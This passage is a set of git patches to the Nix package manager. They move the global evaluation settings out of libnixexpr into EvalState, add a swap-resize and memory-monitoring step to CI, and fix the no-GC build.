From 52bfccf8d8112ba738e6fc9e4891f85b6b864566 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 14 Jun 2024 12:41:09 -0400
Subject: [PATCH 405/528] No global eval settings in `libnixexpr`

Progress on #5638

There is still a global eval settings, but it pushed down into
`libnixcmd`, which is a lot less bad a place for this sort of thing.
---
 .editorconfig                               |  8 +++---
 src/libcmd/command.cc                       |  8 +++---
 src/libcmd/common-eval-args.cc              |  7 +++++
 src/libcmd/common-eval-args.hh              |  6 +++++
 src/libexpr-c/nix_api_expr.cc               | 17 +++++++++++-
 src/libexpr-c/nix_api_expr_internal.h       |  2 ++
 src/libexpr/eval-settings.cc                | 13 ++++-----
 src/libexpr/eval-settings.hh                | 10 +++----
 src/libexpr/eval.cc                         | 29 +++++++++++----------
 src/libexpr/eval.hh                         |  4 ++-
 src/libexpr/flake/config.cc                 |  1 -
 src/libexpr/flake/flake.cc                  |  6 ++---
 src/libexpr/parser-state.hh                 |  1 +
 src/libexpr/parser.y                        |  6 +++--
 src/libexpr/primops.cc                      | 25 +++++++++---------
 src/libexpr/primops/fetchMercurial.cc       |  2 +-
 src/libexpr/primops/fetchTree.cc            |  8 +++---
 src/nix-build/nix-build.cc                  |  2 +-
 src/nix-env/nix-env.cc                      |  2 +-
 src/nix-instantiate/nix-instantiate.cc      |  2 +-
 src/nix/main.cc                             |  4 +--
 src/nix/prefetch.cc                         |  2 +-
 src/nix/upgrade-nix.cc                      |  2 +-
 tests/unit/libexpr-support/tests/libexpr.hh |  6 +++--
 24 files changed, 102 insertions(+), 71 deletions(-)

diff --git a/.editorconfig b/.editorconfig
index 86360e6582d..e1c8bae3929 100644
--- a/.editorconfig
+++ b/.editorconfig
@@ -4,20 +4,20 @@
 # Top-most EditorConfig file
 root = true
 
-# Unix-style newlines with a newline ending every file, utf-8 charset
+# Unix-style newlines with a newline ending every file, UTF-8 charset
 [*]
 end_of_line = lf
 insert_final_newline = true
 trim_trailing_whitespace = true
 charset = utf-8
 
-# Match nix files, set indent to spaces with width of two
+# Match Nix files, set indent to spaces with width of two
 [*.nix]
 indent_style = space
 indent_size = 2
 
-# Match c++/shell/perl, set indent to spaces with width of four
-[*.{hpp,cc,hh,sh,pl,xs}]
+# Match C++/C/shell/Perl, set indent to spaces with width of four
+[*.{hpp,cc,hh,c,h,sh,pl,xs}]
 indent_style = space
 indent_size = 4
 
diff --git a/src/libcmd/command.cc b/src/libcmd/command.cc
index 543250da3ac..23aaaf2ad7c 100644
--- a/src/libcmd/command.cc
+++ b/src/libcmd/command.cc
@@ -126,13 +126,11 @@ ref<EvalState> EvalCommand::getEvalState()
 {
     if (!evalState) {
         evalState =
+            std::allocate_shared<EvalState>(
             #if HAVE_BOEHMGC
-            std::allocate_shared<EvalState>(traceable_allocator<EvalState>(),
-                lookupPath, getEvalStore(), getStore())
-            #else
-            std::make_shared<EvalState>(
-                lookupPath, getEvalStore(), getStore())
+                traceable_allocator<EvalState>(),
             #endif
+                lookupPath, getEvalStore(), evalSettings, getStore())
             ;
 
         evalState->repair = repair;
diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc
index cd0f192577f..77dba546d70 100644
--- a/src/libcmd/common-eval-args.cc
+++ b/src/libcmd/common-eval-args.cc
@@ -1,6 +1,7 @@
 #include "eval-settings.hh"
 #include "common-eval-args.hh"
 #include "shared.hh"
+#include "config-global.hh"
 #include "filetransfer.hh"
 #include "eval.hh"
 #include "fetchers.hh"
@@ -13,6 +14,12 @@
 
 namespace nix {
 
+EvalSettings evalSettings {
+    settings.readOnlyMode
+};
+
+static GlobalConfig::Register rEvalSettings(&evalSettings);
+
 MixEvalArgs::MixEvalArgs()
 {
     addFlag({
diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh
index 75cb19334fe..189abf0ed52 100644
--- a/src/libcmd/common-eval-args.hh
+++ b/src/libcmd/common-eval-args.hh
@@ -12,9 +12,15 @@ namespace nix {
 
 class Store;
 class EvalState;
+struct EvalSettings;
 class Bindings;
 struct SourcePath;
 
+/**
+ * @todo Get rid of global setttings variables
+ */
+extern EvalSettings evalSettings;
+
 struct MixEvalArgs : virtual Args, virtual MixRepair
 {
     static constexpr auto category = "Common evaluation options";
diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc
index bdf7a1e63a0..13e0f5f3a9f 100644
--- a/src/libexpr-c/nix_api_expr.cc
+++ b/src/libexpr-c/nix_api_expr.cc
@@ -7,6 +7,7 @@
 #include "eval.hh"
 #include "globals.hh"
 #include "util.hh"
+#include "eval-settings.hh"
 
 #include "nix_api_expr.h"
 #include "nix_api_expr_internal.h"
@@ -106,7 +107,21 @@ EvalState * nix_state_create(nix_c_context * context, const char ** lookupPath_c
             for (size_t i = 0; lookupPath_c[i] != nullptr; i++)
                 lookupPath.push_back(lookupPath_c[i]);
 
-        return new EvalState{nix::EvalState(nix::LookupPath::parse(lookupPath), store->ptr)};
+        void * p = ::operator new(
+            sizeof(EvalState),
+            static_cast<std::align_val_t>(alignof(EvalState)));
+        auto * p2 = static_cast<EvalState *>(p);
+        new (p) EvalState {
+            .settings = nix::EvalSettings{
+                nix::settings.readOnlyMode,
+            },
+            .state = nix::EvalState(
+                nix::LookupPath::parse(lookupPath),
+                store->ptr,
+                p2->settings),
+        };
+        loadConfFile(p2->settings);
+        return p2;
     }
     NIXC_CATCH_ERRS_NULL
 }
diff --git a/src/libexpr-c/nix_api_expr_internal.h b/src/libexpr-c/nix_api_expr_internal.h
index 5a875ef3970..d4ccffd29d6 100644
--- a/src/libexpr-c/nix_api_expr_internal.h
+++ b/src/libexpr-c/nix_api_expr_internal.h
@@ -2,11 +2,13 @@
 #define NIX_API_EXPR_INTERNAL_H
 
 #include "eval.hh"
+#include "eval-settings.hh"
 #include "attr-set.hh"
 #include "nix_api_value.h"
 
 struct EvalState
 {
+    nix::EvalSettings settings;
     nix::EvalState state;
 };
 
diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc
index a642bb6848f..11a62b0fd43 100644
--- a/src/libexpr/eval-settings.cc
+++ b/src/libexpr/eval-settings.cc
@@ -45,7 +45,8 @@ static Strings parseNixPath(const std::string & s)
     return res;
 }
 
-EvalSettings::EvalSettings()
+EvalSettings::EvalSettings(bool & readOnlyMode)
+    : readOnlyMode{readOnlyMode}
 {
     auto var = getEnv("NIX_PATH");
     if (var) nixPath = parseNixPath(*var);
@@ -55,7 +56,7 @@ EvalSettings::EvalSettings()
         builtinsAbortOnWarn = true;
 }
 
-Strings EvalSettings::getDefaultNixPath()
+Strings EvalSettings::getDefaultNixPath() const
 {
     Strings res;
     auto add = [&](const Path & p, const std::string & s = std::string()) {
@@ -68,7 +69,7 @@ Strings EvalSettings::getDefaultNixPath()
         }
     };
 
-    if (!evalSettings.restrictEval && !evalSettings.pureEval) {
+    if (!restrictEval && !pureEval) {
         add(getNixDefExpr() + "/channels");
         add(rootChannelsDir() + "/nixpkgs", "nixpkgs");
         add(rootChannelsDir());
@@ -94,16 +95,12 @@ std::string EvalSettings::resolvePseudoUrl(std::string_view url)
         return std::string(url);
 }
 
-const std::string & EvalSettings::getCurrentSystem()
+const std::string & EvalSettings::getCurrentSystem() const
 {
     const auto & evalSystem = currentSystem.get();
     return evalSystem != "" ? evalSystem : settings.thisSystem.get();
 }
 
-EvalSettings evalSettings;
-
-static GlobalConfig::Register rEvalSettings(&evalSettings);
-
 Path getNixDefExpr()
 {
     return settings.useXDGBaseDirectories
diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh
index d01de980fa4..2689a846569 100644
--- a/src/libexpr/eval-settings.hh
+++ b/src/libexpr/eval-settings.hh
@@ -7,9 +7,11 @@ namespace nix {
 
 struct EvalSettings : Config
 {
-    EvalSettings();
+    EvalSettings(bool & readOnlyMode);
 
-    static Strings getDefaultNixPath();
+    bool & readOnlyMode;
+
+    Strings getDefaultNixPath() const;
 
     static bool isPseudoUrl(std::string_view s);
 
@@ -74,7 +76,7 @@ struct EvalSettings : Config
      * Implements the `eval-system` vs `system` defaulting logic
      * described for `eval-system`.
      */
-    const std::string & getCurrentSystem();
+    const std::string & getCurrentSystem() const;
 
     Setting<bool> restrictEval{
         this, false, "restrict-eval",
@@ -193,8 +195,6 @@ struct EvalSettings : Config
         )"};
 };
 
-extern EvalSettings evalSettings;
-
 /**
  * Conventionally part of the default nix path in impure mode.
  */
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 7aaec2e734d..551bcdcaf82 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -9,7 +9,6 @@
 #include "store-api.hh"
 #include "derivations.hh"
 #include "downstream-placeholder.hh"
-#include "globals.hh"
 #include "eval-inline.hh"
 #include "filetransfer.hh"
 #include "function-trace.hh"
@@ -219,8 +218,10 @@ static constexpr size_t BASE_ENV_SIZE = 128;
 EvalState::EvalState(
     const LookupPath & _lookupPath,
     ref<Store> store,
+    const EvalSettings & settings,
     std::shared_ptr<Store> buildStore)
-    : sWith(symbols.create("<with>"))
+    : settings{settings}
+    , sWith(symbols.create("<with>"))
     , sOutPath(symbols.create("outPath"))
     , sDrvPath(symbols.create("drvPath"))
     , sType(symbols.create("type"))
@@ -276,10 +277,10 @@ EvalState::EvalState(
     , repair(NoRepair)
     , emptyBindings(0)
     , rootFS(
-        evalSettings.restrictEval || evalSettings.pureEval
+        settings.restrictEval || settings.pureEval
         ? ref<SourceAccessor>(AllowListSourceAccessor::create(getFSSourceAccessor(), {},
-            [](const CanonPath & path) -> RestrictedPathError {
-                auto modeInformation = evalSettings.pureEval
+            [&settings](const CanonPath & path) -> RestrictedPathError {
+                auto modeInformation = settings.pureEval
                     ? "in pure evaluation mode (use '--impure' to override)"
                     : "in restricted mode";
                 throw RestrictedPathError("access to absolute path '%1%' is forbidden %2%", path, modeInformation);
@@ -330,10 +331,10 @@ EvalState::EvalState(
     vStringUnknown.mkString("unknown");
 
     /* Initialise the Nix expression search path. */
-    if (!evalSettings.pureEval) {
+    if (!settings.pureEval) {
         for (auto & i : _lookupPath.elements)
             lookupPath.elements.emplace_back(LookupPath::Elem {i});
-        for (auto & i : evalSettings.nixPath.get())
+        for (auto & i : settings.nixPath.get())
             lookupPath.elements.emplace_back(LookupPath::Elem::parse(i));
     }
 
@@ -411,9 +412,9 @@ bool isAllowedURI(std::string_view uri, const Strings & allowedUris)
 
 void EvalState::checkURI(const std::string & uri)
 {
-    if (!evalSettings.restrictEval) return;
+    if (!settings.restrictEval) return;
 
-    if (isAllowedURI(uri, evalSettings.allowedUris.get())) return;
+    if (isAllowedURI(uri, settings.allowedUris.get())) return;
 
     /* If the URI is a path, then check it against allowedPaths as
        well. */
@@ -458,7 +459,7 @@ void EvalState::addConstant(const std::string & name, Value * v, Constant info)
 
     constantInfos.push_back({name2, info});
 
-    if (!(evalSettings.pureEval && info.impureOnly)) {
+    if (!(settings.pureEval && info.impureOnly)) {
         /* Check the type, if possible.
 
            We might know the type of a thunk in advance, so be allowed
@@ -1413,11 +1414,11 @@ class CallDepth {
 
 void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & vRes, const PosIdx pos)
 {
-    if (callDepth > evalSettings.maxCallDepth)
+    if (callDepth > settings.maxCallDepth)
         error<EvalError>("stack overflow; max-call-depth exceeded").atPos(pos).debugThrow();
     CallDepth _level(callDepth);
 
-    auto trace = evalSettings.traceFunctionCalls
+    auto trace = settings.traceFunctionCalls
         ? std::make_unique<FunctionCallTrace>(positions[pos])
         : nullptr;
 
@@ -2745,7 +2746,7 @@ SourcePath EvalState::findFile(const LookupPath & lookupPath, const std::string_
         return {corepkgsFS, CanonPath(path.substr(3))};
 
     error<ThrownError>(
-        evalSettings.pureEval
+        settings.pureEval
             ? "cannot look up '<%s>' in pure evaluation mode (use '--impure' to override)"
             : "file '%s' was not found in the Nix search path (add it using $NIX_PATH or -I)",
         path
@@ -2825,7 +2826,7 @@ Expr * EvalState::parse(
     const SourcePath & basePath,
     std::shared_ptr<StaticEnv> & staticEnv)
 {
-    auto result = parseExprFromBuf(text, length, origin, basePath, symbols, positions, rootFS, exprSymbols);
+    auto result = parseExprFromBuf(text, length, origin, basePath, symbols, settings, positions, rootFS, exprSymbols);
 
     result->bindVars(*this, staticEnv);
 
diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh
index 774ded3e7c0..b84bc9907c8 100644
--- a/src/libexpr/eval.hh
+++ b/src/libexpr/eval.hh
@@ -30,6 +30,7 @@ namespace nix {
 constexpr size_t maxPrimOpArity = 8;
 
 class Store;
+struct EvalSettings;
 class EvalState;
 class StorePath;
 struct SingleDerivedPath;
@@ -39,7 +40,6 @@ namespace eval_cache {
     class EvalCache;
 }
 
-
 /**
  * Function that implements a primop.
  */
@@ -162,6 +162,7 @@ struct DebugTrace {
 class EvalState : public std::enable_shared_from_this<EvalState>
 {
 public:
+    const EvalSettings & settings;
     SymbolTable symbols;
     PosTable positions;
 
@@ -352,6 +353,7 @@ public:
     EvalState(
         const LookupPath & _lookupPath,
         ref<Store> store,
+        const EvalSettings & settings,
         std::shared_ptr<Store> buildStore = nullptr);
     ~EvalState();
 
diff --git a/src/libexpr/flake/config.cc b/src/libexpr/flake/config.cc
index 03430b0e349..b348f6d44b1 100644
--- a/src/libexpr/flake/config.cc
+++ b/src/libexpr/flake/config.cc
@@ -1,6 +1,5 @@
 #include "users.hh"
 #include "config-global.hh"
-#include "globals.hh"
 #include "fetch-settings.hh"
 #include "flake.hh"
 
diff --git a/src/libexpr/flake/flake.cc b/src/libexpr/flake/flake.cc
index 3af9ef14ee3..67b19bd57ef 100644
--- a/src/libexpr/flake/flake.cc
+++ b/src/libexpr/flake/flake.cc
@@ -803,7 +803,7 @@ static void prim_getFlake(EvalState & state, const PosIdx pos, Value * * args, V
 {
     std::string flakeRefS(state.forceStringNoCtx(*args[0], pos, "while evaluating the argument passed to builtins.getFlake"));
     auto flakeRef = parseFlakeRef(flakeRefS, {}, true);
-    if (evalSettings.pureEval && !flakeRef.input.isLocked())
+    if (state.settings.pureEval && !flakeRef.input.isLocked())
         throw Error("cannot call 'getFlake' on unlocked flake reference '%s', at %s (use --impure to override)", flakeRefS, state.positions[pos]);
 
     callFlake(state,
@@ -811,8 +811,8 @@ static void prim_getFlake(EvalState & state, const PosIdx pos, Value * * args, V
             LockFlags {
                 .updateLockFile = false,
                 .writeLockFile = false,
-                .useRegistries = !evalSettings.pureEval && fetchSettings.useRegistries,
-                .allowUnlocked = !evalSettings.pureEval,
+                .useRegistries = !state.settings.pureEval && fetchSettings.useRegistries,
+                .allowUnlocked = !state.settings.pureEval,
             }),
         v);
 }
diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh
index 5a928e9aadb..cff6282faa0 100644
--- a/src/libexpr/parser-state.hh
+++ b/src/libexpr/parser-state.hh
@@ -46,6 +46,7 @@ struct ParserState
     PosTable::Origin origin;
     const ref<SourceAccessor> rootFS;
     const Expr::AstSymbols & s;
+    const EvalSettings & settings;
 
     void dupAttr(const AttrPath & attrPath, const PosIdx pos, const PosIdx prevPos);
     void dupAttr(Symbol attr, const PosIdx pos, const PosIdx prevPos);
diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y
index 00300449f6f..709a4532a85 100644
--- a/src/libexpr/parser.y
+++ b/src/libexpr/parser.y
@@ -25,7 +25,6 @@
 #include "nixexpr.hh"
 #include "eval.hh"
 #include "eval-settings.hh"
-#include "globals.hh"
 #include "parser-state.hh"
 
 #define YYLTYPE ::nix::ParserLocation
@@ -40,6 +39,7 @@ Expr * parseExprFromBuf(
     Pos::Origin origin,
     const SourcePath & basePath,
     SymbolTable & symbols,
+    const EvalSettings & settings,
     PosTable & positions,
     const ref<SourceAccessor> rootFS,
     const Expr::AstSymbols & astSymbols);
@@ -294,7 +294,7 @@ path_start
     $$ = new ExprPath(ref<SourceAccessor>(state->rootFS), std::move(path));
   }
   | HPATH {
-    if (evalSettings.pureEval) {
+    if (state->settings.pureEval) {
         throw Error(
             "the path '%s' can not be resolved in pure mode",
             std::string_view($1.p, $1.l)
@@ -429,6 +429,7 @@ Expr * parseExprFromBuf(
     Pos::Origin origin,
     const SourcePath & basePath,
     SymbolTable & symbols,
+    const EvalSettings & settings,
     PosTable & positions,
     const ref<SourceAccessor> rootFS,
     const Expr::AstSymbols & astSymbols)
@@ -441,6 +442,7 @@ Expr * parseExprFromBuf(
         .origin = positions.addOrigin(origin, length),
         .rootFS = rootFS,
         .s = astSymbols,
+        .settings = settings,
     };
 
     yylex_init(&scanner);
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 98649f0817f..4e2aaf5b217 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -5,7 +5,6 @@
 #include "eval.hh"
 #include "eval-settings.hh"
 #include "gc-small-vector.hh"
-#include "globals.hh"
 #include "json-to-value.hh"
 #include "names.hh"
 #include "path-references.hh"
@@ -78,7 +77,7 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS
 
     if (drvs.empty()) return {};
 
-    if (isIFD && !evalSettings.enableImportFromDerivation)
+    if (isIFD && !settings.enableImportFromDerivation)
         error<EvalError>(
             "cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled",
             drvs.begin()->to_string(*store)
@@ -901,7 +900,7 @@ static void prim_tryEval(EvalState & state, const PosIdx pos, Value * * args, Va
     MaintainCount trylevel(state.trylevel);
 
     ReplExitStatus (* savedDebugRepl)(ref<EvalState> es, const ValMap & extraEnv) = nullptr;
-    if (state.debugRepl && evalSettings.ignoreExceptionsDuringTry)
+    if (state.debugRepl && state.settings.ignoreExceptionsDuringTry)
     {
         /* to prevent starting the repl from exceptions withing a tryEval, null it. */
         savedDebugRepl = state.debugRepl;
@@ -950,7 +949,7 @@ static RegisterPrimOp primop_tryEval({
 static void prim_getEnv(EvalState & state, const PosIdx pos, Value * * args, Value & v)
 {
     std::string name(state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.getEnv"));
-    v.mkString(evalSettings.restrictEval || evalSettings.pureEval ? "" : getEnv(name).value_or(""));
+    v.mkString(state.settings.restrictEval || state.settings.pureEval ? "" : getEnv(name).value_or(""));
 }
 
 static RegisterPrimOp primop_getEnv({
@@ -1017,7 +1016,7 @@ static void prim_trace(EvalState & state, const PosIdx pos, Value * * args, Valu
         printError("trace: %1%", args[0]->string_view());
     else
         printError("trace: %1%", ValuePrinter(state, *args[0]));
-    if (evalSettings.builtinsTraceDebugger) {
+    if (state.settings.builtinsTraceDebugger) {
         state.runDebugRepl(nullptr);
     }
     state.forceValue(*args[1], pos);
@@ -1056,11 +1055,11 @@ static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value
         logWarning(info);
     }
 
-    if (evalSettings.builtinsAbortOnWarn) {
+    if (state.settings.builtinsAbortOnWarn) {
         // Not an EvalError or subclass, which would cause the error to be stored in the eval cache.
         state.error<EvalBaseError>("aborting to reveal stack trace of warning, as abort-on-warn is set").setIsFromExpr().debugThrow();
     }
-    if (evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) {
+    if (state.settings.builtinsTraceDebugger || state.settings.builtinsDebuggerOnWarn) {
         state.runDebugRepl(nullptr);
     }
     state.forceValue(*args[1], pos);
@@ -1578,7 +1577,7 @@ static RegisterPrimOp primop_toPath({
    corner cases. */
 static void prim_storePath(EvalState & state, const PosIdx pos, Value * * args, Value & v)
 {
-    if (evalSettings.pureEval)
+    if (state.settings.pureEval)
         state.error<EvalError>(
             "'%s' is not allowed in pure evaluation mode",
             "builtins.storePath"
@@ -4562,7 +4561,7 @@ void EvalState::createBaseEnv()
         )",
     });
 
-    if (!evalSettings.pureEval) {
+    if (!settings.pureEval) {
         v.mkInt(time(0));
     }
     addConstant("__currentTime", v, {
@@ -4589,8 +4588,8 @@ void EvalState::createBaseEnv()
         .impureOnly = true,
     });
 
-    if (!evalSettings.pureEval)
-        v.mkString(evalSettings.getCurrentSystem());
+    if (!settings.pureEval)
+        v.mkString(settings.getCurrentSystem());
     addConstant("__currentSystem", v, {
         .type = nString,
         .doc = R"(
@@ -4670,7 +4669,7 @@ void EvalState::createBaseEnv()
 
 #ifndef _WIN32 // TODO implement on Windows
     // Miscellaneous
-    if (evalSettings.enableNativeCode) {
+    if (settings.enableNativeCode) {
         addPrimOp({
             .name = "__importNative",
             .arity = 2,
@@ -4693,7 +4692,7 @@ void EvalState::createBaseEnv()
           error if `--trace-verbose` is enabled. Then return *e2*. This function
           is useful for debugging.
         )",
-        .fun = evalSettings.traceVerbose ? prim_trace : prim_second,
+        .fun = settings.traceVerbose ? prim_trace : prim_second,
     });
 
     /* Add a value containing the current Nix expression search path. */
diff --git a/src/libexpr/primops/fetchMercurial.cc b/src/libexpr/primops/fetchMercurial.cc
index d9ba6aa97d8..7b5f4193a23 100644
--- a/src/libexpr/primops/fetchMercurial.cc
+++ b/src/libexpr/primops/fetchMercurial.cc
@@ -53,7 +53,7 @@ static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * a
     // whitelist. Ah well.
     state.checkURI(url);
 
-    if (evalSettings.pureEval && !rev)
+    if (state.settings.pureEval && !rev)
         throw Error("in pure evaluation mode, 'fetchMercurial' requires a Mercurial revision");
 
     fetchers::Attrs attrs;
diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc
index a99a715770b..7b05c5b4863 100644
--- a/src/libexpr/primops/fetchTree.cc
+++ b/src/libexpr/primops/fetchTree.cc
@@ -171,10 +171,10 @@ static void fetchTree(
         }
     }
 
-    if (!evalSettings.pureEval && !input.isDirect() && experimentalFeatureSettings.isEnabled(Xp::Flakes))
+    if (!state.settings.pureEval && !input.isDirect() && experimentalFeatureSettings.isEnabled(Xp::Flakes))
         input = lookupInRegistries(state.store, input).first;
 
-    if (evalSettings.pureEval && !input.isLocked()) {
+    if (state.settings.pureEval && !input.isLocked()) {
         auto fetcher = "fetchTree";
         if (params.isFetchGit)
             fetcher = "fetchGit";
@@ -453,14 +453,14 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v
         url = state.forceStringNoCtx(*args[0], pos, "while evaluating the url we should fetch");
 
     if (who == "fetchTarball")
-        url = evalSettings.resolvePseudoUrl(*url);
+        url = state.settings.resolvePseudoUrl(*url);
 
     state.checkURI(*url);
 
     if (name == "")
         name = baseNameOf(*url);
 
-    if (evalSettings.pureEval && !expectedHash)
+    if (state.settings.pureEval && !expectedHash)
         state.error<EvalError>("in pure evaluation mode, '%s' requires a 'sha256' argument", who).atPos(pos).debugThrow();
 
     // early exit if pinned and already in the store
diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc
index 77df08edd14..57630c8c34b 100644
--- a/src/nix-build/nix-build.cc
+++ b/src/nix-build/nix-build.cc
@@ -259,7 +259,7 @@ static void main_nix_build(int argc, char * * argv)
     auto store = openStore();
     auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store;
 
-    auto state = std::make_unique<EvalState>(myArgs.lookupPath, evalStore, store);
+    auto state = std::make_unique<EvalState>(myArgs.lookupPath, evalStore, evalSettings, store);
     state->repair = myArgs.repair;
     if (myArgs.repair) buildMode = bmRepair;
 
diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc
index b5e13cc2308..c72378cd5f4 100644
--- a/src/nix-env/nix-env.cc
+++ b/src/nix-env/nix-env.cc
@@ -1525,7 +1525,7 @@ static int main_nix_env(int argc, char * * argv)
 
         auto store = openStore();
 
-        globals.state = std::shared_ptr<EvalState>(new EvalState(myArgs.lookupPath, store));
+        globals.state = std::shared_ptr<EvalState>(new EvalState(myArgs.lookupPath, store, evalSettings));
         globals.state->repair = myArgs.repair;
 
         globals.instSource.nixExprPath = std::make_shared<SourcePath>(
diff --git a/src/nix-instantiate/nix-instantiate.cc b/src/nix-instantiate/nix-instantiate.cc
index 35664374cea..a4bfeebbbdb 100644
--- a/src/nix-instantiate/nix-instantiate.cc
+++ b/src/nix-instantiate/nix-instantiate.cc
@@ -157,7 +157,7 @@ static int main_nix_instantiate(int argc, char * * argv)
         auto store = openStore();
         auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store;
 
-        auto state = std::make_unique<EvalState>(myArgs.lookupPath, evalStore, store);
+        auto state = std::make_unique<EvalState>(myArgs.lookupPath, evalStore, evalSettings, store);
         state->repair = myArgs.repair;
 
         Bindings & autoArgs = *myArgs.getAutoArgs(*state);
diff --git a/src/nix/main.cc b/src/nix/main.cc
index 81d368d6af2..e95558781f8 100644
--- a/src/nix/main.cc
+++ b/src/nix/main.cc
@@ -242,7 +242,7 @@ static void showHelp(std::vector<std::string> subcommand, NixArgs & toplevel)
 
     evalSettings.restrictEval = false;
     evalSettings.pureEval = false;
-    EvalState state({}, openStore("dummy://"));
+    EvalState state({}, openStore("dummy://"), evalSettings);
 
     auto vGenerateManpage = state.allocValue();
     state.eval(state.parseExprFromString(
@@ -418,7 +418,7 @@ void mainWrapped(int argc, char * * argv)
             Xp::FetchTree,
         };
         evalSettings.pureEval = false;
-        EvalState state({}, openStore("dummy://"));
+        EvalState state({}, openStore("dummy://"), evalSettings);
         auto res = nlohmann::json::object();
         res["builtins"] = ({
             auto builtinsJson = nlohmann::json::object();
diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc
index 3ce52acc563..ce79e576fe5 100644
--- a/src/nix/prefetch.cc
+++ b/src/nix/prefetch.cc
@@ -193,7 +193,7 @@ static int main_nix_prefetch_url(int argc, char * * argv)
           startProgressBar();
 
         auto store = openStore();
-        auto state = std::make_unique<EvalState>(myArgs.lookupPath, store);
+        auto state = std::make_unique<EvalState>(myArgs.lookupPath, store, evalSettings);
 
         Bindings & autoArgs = *myArgs.getAutoArgs(*state);
 
diff --git a/src/nix/upgrade-nix.cc b/src/nix/upgrade-nix.cc
index 17d1edb97e3..29297253bda 100644
--- a/src/nix/upgrade-nix.cc
+++ b/src/nix/upgrade-nix.cc
@@ -147,7 +147,7 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand
         auto req = FileTransferRequest((std::string&) settings.upgradeNixStorePathUrl);
         auto res = getFileTransfer()->download(req);
 
-        auto state = std::make_unique<EvalState>(LookupPath{}, store);
+        auto state = std::make_unique<EvalState>(LookupPath{}, store, evalSettings);
         auto v = state->allocValue();
         state->eval(state->parseExprFromString(res.data, state->rootPath(CanonPath("/no-such-path"))), *v);
         Bindings & bindings(*state->allocBindings(0));
diff --git a/tests/unit/libexpr-support/tests/libexpr.hh b/tests/unit/libexpr-support/tests/libexpr.hh
index 1a431399082..eacbf0d5cac 100644
--- a/tests/unit/libexpr-support/tests/libexpr.hh
+++ b/tests/unit/libexpr-support/tests/libexpr.hh
@@ -19,14 +19,14 @@ namespace nix {
             static void SetUpTestSuite() {
                 LibStoreTest::SetUpTestSuite();
                 initGC();
-                evalSettings.nixPath = {};
             }
 
         protected:
             LibExprTest()
                 : LibStoreTest()
-                , state({}, store)
+                , state({}, store, evalSettings, nullptr)
             {
+                evalSettings.nixPath = {};
             }
             Value eval(std::string input, bool forceValue = true) {
                 Value v;
@@ -42,6 +42,8 @@ namespace nix {
                 return state.symbols.create(value);
             }
 
+            bool readOnlyMode = true;
+            EvalSettings evalSettings{readOnlyMode};
             EvalState state;
     };
 

From 445a4a02987ae24b69597dfb7debaeb9a474d26d Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 24 Jun 2024 19:02:22 +0200
Subject: [PATCH 406/528] ci.yml: Add swap and monitor it

---
 .github/workflows/ci.yml | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 6362620b050..2cd908f9e86 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -31,6 +31,23 @@ jobs:
         name: '${{ env.CACHIX_NAME }}'
         signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}'
         authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
+    - if: matrix.os == 'ubuntu-latest'
+      run: |
+        free -h
+        swapon --show
+        swap=$(swapon --show --noheadings | head -n 1 | awk '{print $1}')
+        echo "Found swap: $swap"
+        sudo swapoff $swap
+        # resize it (fallocate)
+        sudo fallocate -l 10G $swap
+        sudo mkswap $swap
+        sudo swapon $swap
+        free -h
+        (
+          while sleep 60; do
+            free -h
+          done
+        ) &
     - run: nix --experimental-features 'nix-command flakes' flake check -L
 
   # Steps to test CI automation in your own fork.

From 05580a373f5f85b97927dafff5a50486a7c1dbd9 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 24 Jun 2024 17:17:54 -0400
Subject: [PATCH 407/528] Fix error in the no-GC build

---
 src/libcmd/command.cc | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/src/libcmd/command.cc b/src/libcmd/command.cc
index 23aaaf2ad7c..74d146c66c5 100644
--- a/src/libcmd/command.cc
+++ b/src/libcmd/command.cc
@@ -126,9 +126,11 @@ ref<EvalState> EvalCommand::getEvalState()
 {
     if (!evalState) {
         evalState =
-            std::allocate_shared<EvalState>(
             #if HAVE_BOEHMGC
+            std::allocate_shared<EvalState>(
                 traceable_allocator<EvalState>(),
+            #else
+            std::make_shared<EvalState>(
             #endif
                 lookupPath, getEvalStore(), evalSettings, getStore())
             ;

From 5be44d235a2aaaeb9da58bcb8502fa5cae0f1d30 Mon Sep 17 00:00:00 2001
